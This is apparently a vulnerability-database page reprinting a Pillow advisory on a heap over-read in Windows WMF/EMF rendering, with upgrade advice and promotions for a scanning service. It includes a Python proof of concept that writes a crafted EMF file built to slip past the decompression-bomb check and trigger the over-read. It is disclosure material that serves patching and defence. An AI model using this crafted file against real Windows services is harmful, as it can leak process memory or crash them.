Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)
CVE-2026-96644 · GHSA-9v9v-9qvf-h2hj · published 22 Oct 2026
How serious is it
- Severity: high, CVSS score 7.1 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-96644?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
Pillow(PyPI) < 13.0.0
How to check
- Run
pip show Pillowin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
- Or run
npx shippable-dev scan localhost:3000in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
Pillowto 13.0.0 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
### Summary
On Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native `drawwmf` handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read.
### Details
The EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check:
- `src/PIL/WmfImagePlugin.py:121-129` reads the bounding box; `:148` stores it; the size reaches the native handler through `src/PIL/WmfImagePlugin.py:56`.
In the native handler the DIB header fields `bcWidth` and `bcHeight` are 16-bit and truncate the allocation, while the copy length uses the untruncated ints:
- `src/display.c:793-794` assign the 16-bit fields
- `src/display.c:800` sizes the allocation from them
- `src/display.c:827` copies `height * ((width * 3 + 3) & -4)` bytes using the full values
The whole handler is compiled only on Windows (`#ifdef _WIN32`, `src/display.c:33-841`).
### PoC
```python
import struct
from PIL import Image
def L(v):
return struct.pack("<i", v)
# Minimal EMF header. Bounding box is 70000 x 1, so the pixel count (70000) passes the
# decompression-bomb check, but the width truncates to 16 bits for the allocation while
# the copy uses 70000.
emf = b"\x01\x00\x00\x00" + L(88) # record type + size
emf += L(0) + L(0) + L(70000) + L(1) # rclBounds: x0, y0, x1, y1
emf += L(0) + L(0) + L(100) + L(100) # rclFrame (non-zero, used for the dpi calc)
emf += b" EMF" # signature at offset 40
emf += bytes(44)
open("poc.emf", "wb").write(emf)
im = Image.open("poc.emf")
print("size:", im.size, "pixels:", im.size[0] * im.size[1])
im.load() # over-read happens here on a Windows build
```
On Linux the first part is observable: the 88-byte file opens, `size` is `(70000, 1)`, and the bomb check passes. The native over-read only exists on Windows because `Image.core.drawwmf` is compiled out elsewhere (on Linux `im.load()` raises `OSError` instead).
### Impact
CWE-125, out-of-bounds read in a C extension on Windows builds. A crafted EMF or WMF that passes the pixel check can read past a heap buffer, leaking memory or crashing the process.
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/python-pillow/Pillow/security/advisories/GHSA-9v9v-9qvf-h2hj
- nvd.nist.gov/vuln/detail/CVE-2026-96644
- github.com/python-pillow/Pillow/pull/10120
- github.com/python-pillow/Pillow/commit/4cf46bee338304c5c8968fd7f132ba0d40c428b7
- github.com/python-pillow/Pillow/releases/tag/13.0.0
- github.com/advisories/GHSA-9v9v-9qvf-h2hj
- github.com/python-pillow/Pillow
Merged from GitHub Advisory Database, OSV. Last updated 25 Oct 2026. All vulnerabilities · RSS · JSON